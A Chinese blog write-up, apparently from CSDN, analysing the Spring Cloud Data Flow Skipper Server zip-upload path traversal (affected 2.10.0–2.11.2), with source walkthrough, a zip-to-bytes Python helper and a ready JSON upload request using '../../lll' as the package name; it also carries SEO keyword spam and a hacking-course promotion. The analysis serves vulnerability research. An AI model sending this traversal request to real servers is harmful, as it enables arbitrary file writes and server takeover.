北京市网站设计-推广公司,火车站网站建设方案,cms 企业网站,淘宝做网站退款Spring Cloud Data Flow 热点漏洞详细分析
环境搭建 2.10.0 - 2.11.2版本都可以#xff0c;这里下的2.11.2
源码下载https://github.com/spring-cloud/spring-cloud-dataflow/tree/v2.11.2
在src/docker-compose里面是有docker文件的#xff0c;使用docker即可 最近是爆出…Spring Cloud Data Flow 热点漏洞详细分析
环境搭建 2.10.0 - 2.11.2版本都可以这里下的2.11.2
源码下载https://github.com/spring-cloud/spring-cloud-dataflow/tree/v2.11.2
在src/docker-compose里面是有docker文件的使用docker即可 最近是爆出了两个漏洞的不过入口都是一样的
任意文件写入
漏洞描述
https://avd.aliyun.com/detail?idAVD-2024-22263
影响范围2.10.0 - 2.11.2
Spring Cloud Data FlowSCDF是一个基于微服务的工具包用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。在受影响版本中Skipper Server在接收上传请求时对zip文件中的路径校验不严具有 Skipper Server API 访问权限的攻击者可以通过上传请求将任意文件写入文件系统中的任意位置从而获得服务器权限。
漏洞分析
我们根据阿里云给出的漏洞通告定位到上传zip文件的地方
来到PackageController.java
RequestMapping(path /upload, method RequestMethod.POST)
ResponseStatus(HttpStatus.CREATED)
public EntityModelPackageMetadata upload(RequestBody UploadRequest uploadRequest) {return this.packageMetadataResourceAssembler.toModel(this.packageService.upload(uploadRequest));
}跟进会来到packageService的upload方法
代码比较长首先是进入validateUploadRequest(uploadRequest); 点击领取CSDN大礼包《黑客网络安全入门进阶学习资源包》免费分享 ①网络安全学习路线 ②20份渗透测试电子书 ③安全攻防357页笔记 ④50份安全攻防面试指南 ⑤安全红队渗透工具包 ⑥网络安全必备书籍 ⑦100个漏洞实战案例 ⑧安全大厂内部教程 判断请求是否合法跟进看看
private void validateUploadRequest(UploadRequest uploadRequest) {Assert.notNull(uploadRequest.getRepoName(), Repo name can not be null);Assert.notNull(uploadRequest.getName(), Name of package can not be null);Assert.notNull(uploadRequest.getVersion(), Version can not be null);try {Version.valueOf(uploadRequest.getVersion().trim());}catch (ParseException e) {throw new SkipperException(UploadRequest doesnt have a valid semantic version. Version uploadRequest.getVersion().trim());}Assert.notNull(uploadRequest.getExtension(), Extension can not be null);Assert.isTrue(uploadRequest.getExtension().equals(zip), Extension must be zip, not uploadRequest.getExtension());Assert.notNull(uploadRequest.getPackageFileAsBytes(), Package file as bytes must not be null);Assert.isTrue(uploadRequest.getPackageFileAsBytes().length ! 0, Package file as bytes must not be empty);PackageMetadata existingPackageMetadata this.packageMetadataRepository.findByRepositoryNameAndNameAndVersion(uploadRequest.getRepoName().trim(), uploadRequest.getName().trim(), uploadRequest.getVersion().trim());if (existingPackageMetadata ! null) {throw new SkipperException(String.format(Failed to upload the package. Package [%s:%s] in Repository [%s] already exists.,uploadRequest.getName(), uploadRequest.getVersion(), uploadRequest.getRepoName().trim()));}
}首先是对一个属性值的检测不能为null
然后扩展也就是文件名后缀必须为zip
然后读取数据是通过getPackageFileAsBytes来读取的根据旁边的报错也知道必须是array型的byte
回到uoplaod方法
来到Repository localRepositoryToUpload getRepositoryToUpload(uploadRequest.getRepoName());
跟进方法
private Repository getRepositoryToUpload(String repoName) {Repository localRepositoryToUpload this.repositoryRepository.findByName(repoName);if (localRepositoryToUpload null) {throw new SkipperException(Could not find local repository to upload to named repoName);}if (!localRepositoryToUpload.isLocal()) {throw new SkipperException(Repository to upload to is not a local database hosted repository.);}return localRepositoryToUpload;
}可以看到localRepositoryToUpload是必须有值的是从repositoryRepository里面找的
调试发现其中只有一个local如果不抛出异常我们的repoName只是为local
回到upload
重点看到
Path packageFile Paths.get(packageDir.getPath() File.separator uploadRequest.getName() - uploadRequest.getVersion() . uploadRequest.getExtension());
Assert.isTrue(packageDir.exists(), Package directory doesnt exist.);
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
把我们的数据写入到packageFile中然后进行解压到packageDir下ZipUtil.unpack(packageFile.toFile(), packageDir);packgdir是没有过滤…/这种目录穿越字符
File packageDir new File(packageDirPath File.separator uploadRequest.getName()); 我们可以解压文件到任意目录下然后getshell就轻而易举了
漏洞复现
首先我们需要制作一个zip文件然后测试漏洞存在的话数据其实不重要的能证明解压到任意目录就ok
新建一个文件然后压缩为zip文件之后使用脚本
def zip_to_byte_list(zip_file_path):with open(zip_file_path, rb) as file:zip_data file.read()return [byte for byte in zip_data]zip_file_path 1.zip
zip_byte_list zip_to_byte_list(zip_file_path)
print(zip_byte_list)转为byte
内容如下
[80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 49, 46, 116, 120, 116, 80, 75, 1, 2, 20, 0, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 36, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 49, 46, 116, 120, 116, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 0, 165, 60, 191, 106, 174, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 87, 0, 0, 0, 35, 0, 0, 0, 0, 0]然后发送请求包通过name来实现目录穿越
{repoName:local,name:../../lll,version:1.1.1,extension:zip,packageFileAsBytes:[80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 49, 46, 116, 120, 116, 80, 75, 1, 2, 20, 0, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 36, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 49, 46, 116, 120, 116, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 0, 165, 60, 191, 106, 174, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 87, 0, 0, 0, 35, 0, 0, 0, 0, 0]}进入lll目录查找是否有1.txt即可 漏洞修复
